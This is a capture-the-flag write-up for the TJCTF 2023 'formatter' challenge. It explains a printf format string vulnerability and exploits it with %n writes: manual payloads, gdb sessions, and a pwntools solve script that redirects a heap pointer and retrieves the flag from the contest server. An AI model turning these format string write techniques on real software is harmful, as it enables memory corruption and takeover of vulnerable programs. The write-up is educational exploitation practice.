TJCTF 2023: formatter
give me a string, any string!
TL;DR
printf()
format string vulnerability allows arbitrary write. Using the%n
specifier, overwrite a pointer variable located on the heap to win.
Basic File Checks
The binary happens to be a simple echo server. Based on the challenge name alone, we know that the challenge is somewhat related to Format String Vulnerability.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./formatter
give me a string (or else): test
test
samongus
Looking at the binary protections, the absence of canary may just be hinting that there is no need to use any read primitives from printf()
like %x
and %p
to leak the canary value, making it easier for us to overwrite addresses if there is any write primitives available.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ checksec --file=formatter
[*] '/home/kali/Desktop/CTF/TJCTF2023/pwn: formatter/formatter'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Static Code Analysis
There seems to be no low hanging fruit such as buffer overflow because fgets
is limiting 256 (0x100) characters to the buffer local_118
which holds up to 268 characters.
On the other hand, there is a xd
variable that we need to overwrite in order to receive the flag. There are several important facts about this variable worth taking note of:
xd
is a POINTER variable initialized on the HEAP.calloc
is used for initialization, meaning that the value of&xd
will be 0.
undefined8 main(void)
{
int iVar1;
char local_118 [268];
int local_c;
setbuf(stdout,(char *)0x0);
xd = calloc(1,4);
printf("give me a string (or else): ");
fgets(local_118,0x100,stdin);
printf(local_118);
r1((int)local_118[0]);
iVar1 = win();
if (iVar1 != 0) {
for (local_c = 0; local_c < 0x100; local_c = local_c + 1) {
putchar((int)(char)among[local_c]);
}
}
free(xd);
return 0;
}
To receive the flag, we need to overwrite the value of dereferenced &xd
(not the xd
pointer itself) to 0x86a693e
.
char * win(void)
{
uint uVar1;
char *pcVar2;
char local_68 [72];
FILE *local_20;
int local_14;
int local_10;
int local_c;
local_20 = fopen("flag.txt","r");
if (*xd == 0x86a693e) {
for (local_c = 0; local_c < 0x100; local_c = local_c + 1) {
putchar((int)"You win!\n"[local_c]);
}
if (local_20 == (FILE *)0x0) {
for (local_10 = 0; (local_10 < 0x100 && ("flag.txt not found\n"[local_10] != '\0'));
local_10 = local_10 + 1) {
}
pcVar2 = (char *)0x0;
}
else {
pcVar2 = fgets(local_68,0x40,local_20);
for (local_14 = 0; local_14 < 0x40; local_14 = local_14 + 1) {
uVar1 = putchar((int)local_68[local_14]);
pcVar2 = (char *)(ulong)uVar1;
}
}
}
else {
pcVar2 = (char *)0x1;
}
return pcVar2;
}
Before win
function is called, the value of &xd
is incremented by 2 via the r1
function. All of this takes place after our printf
vulnerability, meaning we would have to minus 2 from our user-supplied input.
void r1(int param_1)
{
if (param_1 != 0) {
*xd = *xd + 2;
putw(param_1 + -1,stdout);
puts("amongus");
}
return;
}
Debugging
Since there is no ASLR, we can find the static addresses of xd
and &xd
and overwrite them in a debugger at runtime to confirm our hypothesis.
The address of xd
pointer is 0x403440
. However, overwriting this address will not be beneficial because the win
function is actually comparing the value of &xd
.
┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ objdump -t formatter | grep "xd"
0000000000403440 g O .bss 0000000000000008 xd
┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ readelf -s formatter | grep "xd"
20: 0000000000403440 8 OBJECT GLOBAL DEFAULT 25 xd
To locate the address of &xd
, place a strategic breakpoint at 0x4012ab
in the r1
function, right before &xd
is incremented. The instruction before this breakpoint is basically just loading the address of &xd
into rax
.

If everything goes as plan, inspecting the rax
register at this breakpoint will reveal the address of &xd
as 0x4042a0
.
┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ gdb formatter
GNU gdb (Debian 13.1-3) 13.1
For help, type "help".
pwndbg> b *0x4012ab
Breakpoint 1 at 0x4012ab
pwndbg> r
Starting program: /home/kali/Desktop/CTF/TJCTF2023/pwn: formatter/formatter
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
give me a string (or else): test
test
Breakpoint 1, 0x00000000004012ab in r1 ()
───────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────
► 0x4012ab <r1+24> mov edx, dword ptr [rax]
0x4012ad <r1+26> mov rax, qword ptr [rip + 0x218c] <xd>
0x4012b4 <r1+33> add edx, 2
0x4012b7 <r1+36> mov dword ptr [rax], edx
0x4012b9 <r1+38> mov rax, qword ptr [rip + 0x2160] <stdout@GLIBC_2.2.5>
0x4012c0 <r1+45> mov edx, dword ptr [rbp - 4]
0x4012c3 <r1+48> sub edx, 1
0x4012c6 <r1+51> mov rsi, rax
0x4012c9 <r1+54> mov edi, edx
0x4012cb <r1+56> call putw@plt <putw@plt>
0x4012d0 <r1+61> lea rax, [rip + 0xd56]
────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────
pwndbg> x $rax
0x4042a0: 0x00000000
pwndbg> x &xd
0x403440 <xd>: 0x004042a0
Printing the value of &xd
shows 0x00000000
, which is valid because calloc
initializes the value of &xd
as 0.
pwndbg> x 0x4042a0
0x4042a0: 0x00000000
Continue the execution of program line-by-line for several instructions until &xd
is incremented successfully, then check the value again, which should resolves to 0x02
by then.
pwndbg> n
pwndbg> n
pwndbg> n
pwndbg> n
pwndbg> x 0x4042a0
0x4042a0: 0x00000002
To summarize the above:
Address of
xd
:0x403440
Value of
xd
:0x4042a0
Address of
&xd
:0x4042a0
Value of
&xd
:0x000000
To confirm the accuracy of these addresses, we will now try to overwrite the value of &xd
at the same breakpoint location, then continue program execution to verify if we managed to get the flag.
┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ gdb formatter
GNU gdb (Debian 13.1-3) 13.1
For help, type "help".
pwndbg> b *0x4012ab
Breakpoint 1 at 0x4012ab
pwndbg> r
Starting program: /home/kali/Desktop/CTF/TJCTF2023/pwn: formatter/formatter
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
give me a string (or else): test
test
Breakpoint 1, 0x00000000004012ab in r1 ()
───────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────
► 0x4012ab <r1+24> mov edx, dword ptr [rax]
0x4012ad <r1+26> mov rax, qword ptr [rip + 0x218c] <xd>
0x4012b4 <r1+33> add edx, 2
0x4012b7 <r1+36> mov dword ptr [rax], edx
0x4012b9 <r1+38> mov rax, qword ptr [rip + 0x2160] <stdout@GLIBC_2.2.5>
0x4012c0 <r1+45> mov edx, dword ptr [rbp - 4]
0x4012c3 <r1+48> sub edx, 1
0x4012c6 <r1+51> mov rsi, rax
0x4012c9 <r1+54> mov edi, edx
0x4012cb <r1+56> call putw@plt <putw@plt>
0x4012d0 <r1+61> lea rax, [rip + 0xd56]
────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────
pwndbg> set *0x4042a0=0x86a693c
pwndbg> c
Continuing.
samongus
You win!
flag.txt not found
amongusgive me a string (or else): �����l���d����xR����?�����������������4zRx
���&D0���$D8����F▒J
�?▒;*3$"lctf{flag}���������1@�����`���������
[Inferior 1 (process 3984) exited normally]
Devise Exploit Plan
Now of course overwriting &xd
using a debugger is not possible in a Binary Exploitation challenge. We need to leverage some kind of arbitrary write vulnerability to make this overwrite possible.
Revising What We Know
There is a format string vulnerability because printf
did not explicitly declare a format specifier when user input is passed into. In most cases, this is enough for an Arbitrary Read, but the flag is only loaded on a later time for this challenge, so we can't abuse it to read the flag from the stack.
Luckily printf
contains a rarely-used format specifier %n
. This specifier takes in a pointer (memory address) and writes to the pointer with the number of characters written so far. If we can control the input, we can control how many characters are written and also where we write them, thereby providing a write primitive.
Crafting Payload Manually
Fuzzing the binary shows that our input is located at the 6th offset. Because of this, we can control what address is written to the 6th offset. In this case, we will write the address of &xd
.
┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ ./formatter
give me a string (or else): AAAAAAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
AAAAAAAA 0x1b142c1 0xfbad2288 0x1 0x1b14311 (nil) 0x4141414141414141 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0xa 0x7f697387c9d3 0x2 (nil) (nil) (nil) (nil) (nil) (nil)
@amongus
┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ python -c 'print("\xa0\x42\x40 " + "%p %p %p %p %p %p %p %p %p %p %p")' | ./formatter
give me a string (or else): B@ 0x227d2c1 0xfbad2088 0x1 0x227d2e6 (nil) 0x207025204042a0c2 0x7025207025207025 0x2520702520702520 0x2070252070252070 0xa7025207025 0x40000
����amongus
Now craft a two-part payload to overwrite &xd
as a Proof-of-Concept.
Write address of
&xd
to the 6th offset.Using the write primitive of
%n
to write value 3 (because the size of0x4042a0
equals to 3) to the address located on the 6th offset.
┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ python -c 'print("\xa0\x42\x40" + "%6$n")' | ./formatter
give me a string (or else): zsh: done python -c 'print("\xa0\x42\x40" + "%6$n")' |
zsh: segmentation fault ./formatter
Null Bytes
Hold on a second! Segfault ... why? In our previous fuzzing attempt, notice how we are writing a 3 byte address \xa0\x42\x40
to the 8 byte stack, which resulted in a corrupted address of 0x207025204042a0c2
instead of the actual address of &xd
at 0x00000000004042a0
.

As a result, when we try to write the value 3 (the size of our string) at the address pointed by %n
(an invalid address), it leads to a segmentation fault.

If we try to pad the 3-byte address with 5 NULL bytes \x00
, another problem will arise. This is because printf will stop at a null-byte, meaning printf
will only read up to \x40
, and ignores all the %p
behind it, which is why no stack addresses are leaked as shown below.
┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ python -c 'print("\xa0\x42\x40\x00\x00\x00\x00\x00 " + "%p %p %p %p %p %p %p %p %p %p %p")' | ./formatter
give me a string (or else): B@����amongus
Long Padding
Now, if writing 3 byte as our input means writing 3 at a specific address. We will have to write 141191484 (0x86a693c
in decimal) characters by expanding the payload into 3 parts.
payload = 0x4042a0
# This will pad the 1st argument with value-3 bytes
# value-3 because we already wrote 3 bytes \xa0\x42\x40
payload += '%<141191484-3>x'
payload += '%6$n'
However, this will write 141191484-3 length of padding on the standard output, which will take a long time to complete.
Automated Exploitation
To circumvent the complications around NULL bytes, use the fmstr_payload
module from pwntools to generate the payload dynamically. This also allows us to bypass the limitations of long padding when crafting the payload manually.
payload = fmtstr_payload(6, {0x4042a0: 0x086a693e-2})
For some reason, overwriting &xd
with 0x086a693e-2
directly does not work, so we will improvise and adopt another method that performs a double write.
There's apparently a buffer with the name among
that does not seem to be used.
┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ objdump -t formatter | grep ".bss"
0000000000403420 g O .bss 0000000000000008 stdout@GLIBC_2.2.5
0000000000403430 g O .bss 0000000000000008 stdin@GLIBC_2.2.5
0000000000403440 g O .bss 0000000000000008 xd
0000000000403560 g .bss 0000000000000000 _end
0000000000403460 g O .bss 0000000000000100 among
0000000000403420 g .bss 0000000000000000 __bss_start
As an alternative, we can write the magic value 0x086a693e-2
to the among
buffer, then manipulate the pointer variable of xd
to point towards among
.
#!/usr/bin/env python3
from pwn import *
import warnings
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# Binary filename
exe = './formatter'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
# Disable warnings related to bytes
warnings.filterwarnings(action='ignore', category=BytesWarning)
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
io = start()
rop = ROP(elf)
payload = fmtstr_payload(6, {elf.symbols['among']: 0x086a693e-2, elf.symbols['xd']: elf.symbols['among']})
io.recvuntil(b'(or else): ')
io.sendline(payload)
io.recvall()
┌──(kali💀JesusCries)-[~/Desktop/CTF/TJCTF2023/pwn: formatter]
└─$ ./solve.py REMOTE tjc.tf 31764
[+] Opening connection to tjc.tf on port 31764: Done
[*] Loaded 5 cached gadgets for './formatter'
[DEBUG] Received 0x1c bytes:
b'give me a string (or else): '
[DEBUG] Sent 0x79 bytes:
00000000 25 39 36 63 25 31 35 24 6c 6c 6e 25 32 31 32 63 │%96c│%15$│lln%│212c│
00000010 25 31 36 24 68 68 6e 25 31 32 63 25 31 37 24 68 │%16$│hhn%│12c%│17$h│
00000020 68 6e 25 32 35 32 63 25 31 38 24 6c 6c 6e 25 34 │hn%2│52c%│18$l│ln%4│
00000030 35 63 25 31 39 24 68 68 6e 25 31 35 33 37 63 25 │5c%1│9$hh│n%15│37c%│
00000040 32 30 24 68 6e 61 61 61 40 34 40 00 00 00 00 00 │20$h│naaa│@4@·│····│
00000050 41 34 40 00 00 00 00 00 42 34 40 00 00 00 00 00 │A4@·│····│B4@·│····│
00000060 60 34 40 00 00 00 00 00 61 34 40 00 00 00 00 00 │`4@·│····│a4@·│····│
00000070 62 34 40 00 00 00 00 00 0a │b4@·│····│·│
00000079
[..../...] Receiving all data: 2.35KB
[DEBUG] Received 0x966 bytes:
00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
00000050 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 c1 │ │ │ │ ·│
00000060 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
00000130 20 20 20 88 20 20 20 20 20 20 20 20 20 20 20 39 │ ·│ │ │ 9│
00000140 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
00000230 20 20 20 20 20 20 20 20 20 20 20 00 20 20 20 20 │ │ │ ·│ │
00000240 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
00000260 20 20 20 20 20 20 20 20 c0 20 20 20 20 20 20 20 │ │ │· │ │
00000270 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │
*
00000860 20 20 20 20 20 20 20 20 20 25 61 61 61 40 34 40 │ │ │ %aa│a@4@│
00000870 24 00 00 00 61 6d 6f 6e 67 75 73 0a 59 6f 75 20 │$···│amon│gus·│You │
00000880 77 69 6e 21 0a 00 66 6c 61 67 2e 74 78 74 20 6e │win!│··fl│ag.t│xt n│
00000890 6f 74 20 66 6f 75 6e 64 0a 00 61 6d 6f 6e 67 75 │ot f│ound│··am│ongu│
000008a0 73 00 67 69 76 65 20 6d 65 20 61 20 73 74 72 69 │s·gi│ve m│e a │stri│
000008b0 6e 67 20 28 6f 72 20 65 6c 73 65 29 3a 20 00 00 │ng (│or e│lse)│: ··│
000008c0 00 01 1b 03 3b 48 00 00 00 08 00 00 00 cc ef ff │····│;H··│····│····│
000008d0 ff 8c 00 00 00 6c f0 ff ff 64 00 00 00 9c f0 ff │····│·l··│·d··│····│
000008e0 ff 78 00 00 00 52 f1 ff ff b4 00 00 00 3f f2 ff │·x··│·R··│····│·?··│
000008f0 ff d4 00 00 00 90 f2 ff ff f4 00 00 00 b9 f2 ff │····│····│····│····│
00000900 ff 14 01 00 00 d5 f2 ff ff 34 01 00 00 14 00 00 │····│····│·4··│····│
00000910 00 00 00 00 00 01 7a 52 00 01 78 10 01 1b 0c 07 │····│··zR│··x·│····│
00000920 08 90 01 00 00 10 00 00 00 1c 00 00 00 00 f0 ff │····│····│····│····│
00000930 ff 26 00 00 00 00 44 07 10 10 00 00 00 30 00 00 │·&··│··D·│····│·0··│
00000940 00 1c f0 ff ff 05 00 00 00 00 00 00 00 24 00 00 │····│····│····│·$··│
00000950 00 44 00 00 00 38 ef ff ff a0 00 00 00 00 0e 10 │·D··│·8··│····│····│
00000960 46 0e 18 4a 0f 0b │F··J│··│
00000966
[DEBUG] Received 0x6e bytes:
00000000 77 08 80 00 3f 1a 3b 2a 33 24 22 00 00 00 00 1c │w···│?·;*│3$"·│····│
00000010 00 00 00 6c 00 00 74 6a 63 74 66 7b 66 30 72 6d │···l│··tj│ctf{│f0rm│
00000020 34 74 74 33 64 5f 35 38 38 33 63 63 33 30 7d 0a │4tt3│d_58│83cc│30}·│
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 0d │····│····│····│····│
00000040 6d bd fc 7f 00 00 b8 0f 6d bd fc 7f 00 00 29 13 │m···│····│m···│··)·│
00000050 40 00 00 00 00 00 66 72 65 65 28 29 3a 20 69 6e │@···│··fr│ee()│: in│
00000060 76 61 6c 69 64 20 70 6f 69 6e 74 65 72 0a │vali│d po│inte│r·│
0000006e
[*] Closed connection to tjc.tf port 31764
Flag: tjctf{f0rm4tt3d_5883cc30}
References
Last updated